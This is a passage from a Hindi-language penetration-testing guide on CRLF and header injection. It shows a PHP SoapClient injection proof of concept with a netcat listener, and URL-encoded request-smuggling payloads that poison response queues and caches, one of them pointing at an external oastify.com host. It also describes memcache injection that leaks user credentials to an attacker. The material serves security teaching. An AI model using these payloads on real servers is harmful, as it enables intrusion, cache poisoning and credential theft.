'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
### हेडर इंजेक्शन करके रिक्वेस्ट स्मगलिंग
आप महत्वपूर्ण हेडर्स को इंजेक्ट कर सकते हैं ताकि **बैक-एंड कनेक्शन खुली रहे** प्रारंभिक रिक्वेस्ट के उत्तर के बाद:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
फिर, **एक दूसरी रिक्वेस्ट निर्दिष्ट करें**। यहां आपके पास एक **क्लासिक** [**रिक्वेस्ट स्मग्लिंग**](http-request-smuggling/) है जिसमें सर्वर द्वारा संक्रमण के बाद अतिरिक्त **हेडर/बॉडी** जोड़े जाते हैं।\
यहां दो से अधिक पार-उपयोगकर्ता शोषण के लिए कुछ विकल्प हैं।
या तो अपने प्रेफिक्स में एक **हानिकारक प्रारंभ** निर्दिष्ट करें ताकि आगामी उपयोगकर्ता की रिक्वेस्ट या वेब कैश को दूषित किया जा सके:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
या अपने प्रेफिक्स को तालिका जंक के साथ मिलाकर एक पूर्ण दूसरी रिक्वेस्ट बनाने के लिए तैयार करें ताकि **प्रतिक्रिया कतार दूषित** की जा सके।
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
इस तकनीक और संभावित समस्याओं के बारे में अधिक जानकारी के लिए [**मूल स्रोत की जांच करें**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)।
### मेमकैश इंजेक्शन
मेमकैश एक **कुंजी-मान-संग्रह है जो एक स्पष्ट पाठ प्रोटोकॉल का उपयोग करता है**। अधिक जानकारी के लिए देखें:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
यदि कोई प्लेटफॉर्म **एक HTTP रिक्वेस्ट से डेटा लेती है और इसे सेनिटाइज़ नहीं करके** एक **मेमकैश** सर्वर को **रिक्वेस्ट** करने के लिए उपयोग कर रही है, तो हमलावर इस व्यवहार का दुरुपयोग कर सकता है और **नए मेमकैश कमांड इंजेक्शन** कर सकता है।
उदाहरण के लिए, मूल खोज में, कैश कुंजी का उपयोग उपयोगकर्ता को उस IP और पोर्ट को कनेक्ट करने के लिए कराया जाता था, और हमलावर **मेमकैश कमांड इंजेक्शन** कर सकता था जो उपयोगकर्ता के विवरण (उपयोगकर्ता नाम और पासवर्ड सहित) को हमलावर के सर्वरों को भेजने के लिए **कैश को दूषित** करता था:
.png)
.png)